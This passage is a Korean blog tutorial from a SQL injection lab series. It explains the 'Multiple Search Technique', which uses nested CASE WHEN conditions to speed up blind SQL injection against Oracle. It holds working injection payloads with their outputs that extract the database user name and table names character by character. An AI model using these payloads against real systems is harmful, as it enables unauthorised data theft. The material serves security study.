Oh! JUN
Multiple Search Technique - 1 공격 실습 본문

기존 blind_Sql_Injection은 기준을 하나 정하고 '참' 또는 '거짓'으로 판별을 했는데
문제가 시간이 굉장히 오래걸린다.
비트 데이터 추론 기법을 사용해도 7번을 '참' 또는 '거짓'을 확인해야 문자를 하나 알아낼 수 있다.
정보량이 적다면 문제되지 않지만 많을수록 카운트 하나 줄이는데 단축되는 시간이 크다.
그래서 이번에는 Multiple Search Technique 기법을 활용해서 카운트를 줄여볼것이다.
위 기법을 사용하기 위해서는 '참' 또는 '거짓'이 판별될 수 있는 기준이 2개 이상이 필요하다.
기존에는 '참'이면 'test1'이 출력되고 '거짓'이면 에러가 발생하거나 게시글이 존재하지 않는다.
로 판단할 수 있었는데 Multiple에서는 '참' '거짓'으로 'test1', 'test2', 'test3', ... 등이 출력될 수 있다.
기존 기법이 if... else... 라면 지금 배우는 기법은 if... (if... else) else (if... else) 이런 느낌이다.
| case when (조건1) then (case when (조건2) then ‘test1’ else ‘test2’ end) else (case when (조건3) then ‘test3’ else ‘test4’ end) end |
| 조건1 | |||
| T | F | ||
| 조건2 | 조건3 | ||
| T | F | T | F |
| 'test1' | 'test2' | 'test3' | 'test4' |
이런식으로 조건을 나누어서 해당하는 게시물이 검색되는 방법으로 사용할것이다.
조건을 효율적으로 나누기 위해서 이진 데이터 추론 기법으로 할것이다.
ascii는 32~126까지 특수기호, 숫자, 소문자, 대문자가 포함되어있어서
이를 4개로 적절히 나누어서 판별할때 사용할 수 있다.
★아래 그림 참고★

| case when ascii(substr((select user from dual),1,1))<80 then (case when (case when ascii(substr((select user from dual),1,1))<56 then ‘test1’ else ‘test2’ end) else (case when (case when ascii(substr((select user from dual),1,1))<104 then ‘test3’ else ‘test4’ end) end |
| ascii(substr((select user from dual),1,1))<80 | |||
| T | F | ||
| (case when ascii(substr((select user from dual),1,1))<56 | case when ascii(substr((select user from dual),1,1))<104 | ||
| T | F | T | F |
| 'test1' | 'test2' | 'test3' | 'test4' |
(조건)에 조건을 넣어줬다.
처음이니까 말로 풀어보면 80보다 작으면 56~79 / 32~55의 범위가 있는데 이중 T이면 56~79이고 F이면 32~55로 나누어진다. 그리고 104보다 작으면 80~103 / 104~126의 범위가 있는데 이중에서도 T이면 80~103이고 F이면104~126로 나누어진다.

| ORACLE : user 구하기 | ||
| '||(case when ascii(substr((select user from dual),1,1))<80 then (case when ascii(substr((select user from dual),1,1))<56 then 'test1' else 'test2' end) else (case when ascii(substr((select user from dual),1,1))<104 then 'test3' else 'test4' end) end)-- | test2(56~79) | user : C□□□□□□□□□□ |
| '||(case when ascii(substr((select user from dual),1,1))<68 then (case when ascii(substr((select user from dual),1,1))<62 then 'test1' else 'test2' end) else (case when ascii(substr((select user from dual),1,1))<74 then 'test3' else 'test4' end) end)-- | test2(62~67) | |
| '||(case when ascii(substr((select user from dual),1,1))<64 then (case when ascii(substr((select user from dual),1,1))<63 then 'test1' else 'test2' end) else (case when ascii(substr((select user from dual),1,1))<65 then 'test3' else 'test4' end) end)-- | test4(65~67) | |
| '||(case when ascii(substr((select user from dual),1,1))<67 then (case when ascii(substr((select user from dual),1,1))<66 then 'test1' else 'test2' end) else (case when ascii(substr((select user from dual),1,1))<68 then 'test3' else 'test4' end) end)-- | test3(67) | |
| 67 → 'C' | ||
| ... 생략 | ||
하나만 더 해보자
이번에는 1열에 있는 table_name을 구해보자

| ORACLE : 1열에 있는 table_name 구하기 | ||
| '||(case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<80 then (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<56 then 'test1' else 'test2' end) else (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<104 then 'test3' else 'test4' end) end)-- | test2(56~79) | user : D□□□ |
| '||(case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<68 then (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<62 then 'test1' else 'test2' end) else (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<74 then 'test3' else 'test4' end) end)-- | test3(68~73) | |
| '||(case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<70 then (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<69 then 'test1' else 'test2' end) else (case when ascii(substr((select table_name from (select rownum r, table_name from all_tables)a where a.r=1),1,1))<71 then 'test3' else 'test4' end) end)-- | test1(68) | |
| 68 → 'D' | ||
| ... 생략 | ||
쿼리문이 많이 복잡해지기는 했지만 지난시간에 했던거에 비하면 7 → 3~4으로 줄었기 때문에 나중에 자동으로 돌리면 속도가 크게 향상된다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
| Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법) (0) | 2022.09.25 |
|---|---|
| Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection) (0) | 2022.09.24 |
| Heavy Query Technique을 이용한 Time-Based 공격 (0) | 2022.09.20 |
| Time-Based SQL Injection 공격 실습 (0) | 2022.09.19 |
| ORDER BY 구문에 대한 SQL Injection 공격 (0) | 2022.09.18 |